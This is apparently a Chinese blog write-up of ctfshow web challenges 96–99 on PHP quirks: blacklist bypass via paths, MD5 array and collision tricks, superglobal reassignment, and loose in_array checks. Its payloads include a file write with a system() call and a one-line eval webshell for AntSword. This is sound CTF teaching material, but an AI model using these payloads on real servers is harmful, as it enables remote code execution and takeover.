ctfshow web入门 php特性 96-99

96-99 均采用弱比较的方式获取flag

重点

  了解 md5 弱类型比较与强类型

  了解 if 语句简写

  了解 in_array() 缺点

web96

highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }
} 

条件:采取黑名单匹配,且采用弱比较(==) 

知识点

  highlight_file()

highlight_file($filename,$return)
$filename  必需。要进行高亮处理的 PHP 文件的路径$return     可选。如果设置 true,则本函数返回高亮处理的代码。

payload

u=./flag.php    //相对路径
u=/var/www/html/flag.php   //由于绝对路径是已知的,所以直接使用

 

web97

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}

要求:1、用 POST 方式传递参数

      2、参数 a、b 不相等

      3、两参数 MD5 相等

知识点

  1、if 语句

      若执行语句为一条,可省略花括号

    if  else 算是一条语句

      if  elseif else 也算是一条语句,不管中间 elseif 有多少,始终算作一条语句

  2、MD5 缺点

    (1)弱类型比较:MD5 加密后的值为 0e 开头,在经过 == 比较时视为相同( 0e 也为科学计数法的表示特征)

      0e 开头的 MD5 和原值

    (2)强碰撞:两个不相同的内容/文件,MD5 值相同

      MD5 碰撞工具:fastcoll

    (3)无法处理数组,传入数组会返回 NULL

payload

a[]=1&b[]=2    // POST 方式传参,利用 MD5 无法处理数组的特性
         //也可利用强碰撞

 

web98

1 include("flag.php");
2 $_GET?$_GET=&$_POST:'flag';
3 $_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
4 $_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
5 highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__); 

分析:第 2 行,$_GET 值存在,则将 $_POST 的值赋给 $_GET 

   第 3 行,变量 flag 值为 flag 时,将 $_COOKIE 的值赋给 $_GET 

   第 4 行,变量 flag 值为 flag 时,将 $_SERVER 的值赋给 $_GET 

   第 5 行,变量 HTTP_FLAG 值为 flag 时,高亮显示 $flag

      第 3、4 行没啥用,混淆视线,重点在第 2、5 行

   不管 $_GET 值为多少,都会被 $_POST 的值取代,但又需要$_GET['HTTP_FLAG'] 的值,因此,将 HTTP_FLAG 的值通过 POST 方式传递,同时利用    

   第 2 行,将 $_POST 的值赋予给 $_GET

要求:变量 flag 的值不能为 flag ,变量 HTTP_FLAG 的值为 flag ,同时使用 GET、POST 两中传参方式

知识点

  1、if 语句简写

    (1)执行单条语句,可省略 { }

    (2)三目运算符

      格式:条件? 语句1: 语句2(条件为真,执行语句1;条件为假,执行语句2)

      if 语句格式 if(条件){语句1}else{语句2}

    (3)符号 || &&

  2、预定义变量

    预定义变量都是关联数组类型

    (1)服务器变量:$_SERVER

    (2)HTTP GET变量:$_GET

    (3)HTTP POST变量:$_POST

    (4)HTTP cookies:$_COOKIE

payload

get   a=a    //保证 $_GET 有值(非0)就行
post  HTTP_FLAG=flag    //虽然第 3、4 行使用到变量 flag ,但这里是否对变量 flag 赋值,并不影响获取flag

 

 

web99

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
} 

要求:1、变量 n 存在于随机数组 $allow 中

知识点

  1、array_push() 向数组尾部添加元素

  2、file_put_contents($filename,$data,$flags,$context)  向文件中写入一个字符串,若没有文件,则先创建再写入

  3、in_array($value,$array,$type)

    判断 $value 是否存在 $array 的值

    $type 若为true,则检测 $value 值与 $array 值  的类型是否相同

 

此题可以当作 命令执行 或 文件上传 类型解题

payload

法一 执行系统命令
get     n=123.php    //数字是多少无所谓,小于 0x36d 就行,数组 $allow 是由 36 个小于 0x36d 的随机数字组成,因此需要多试几次
post    content=<?=system(tac fla*);?>   

法二 上传一句话木马 get n
=123.php post content=<?php eval($_POST['a'])?>


蚁剑连接

 

posted @ 2023-03-05 20:23  kazie  阅读(197)  评论(0编辑  收藏  举报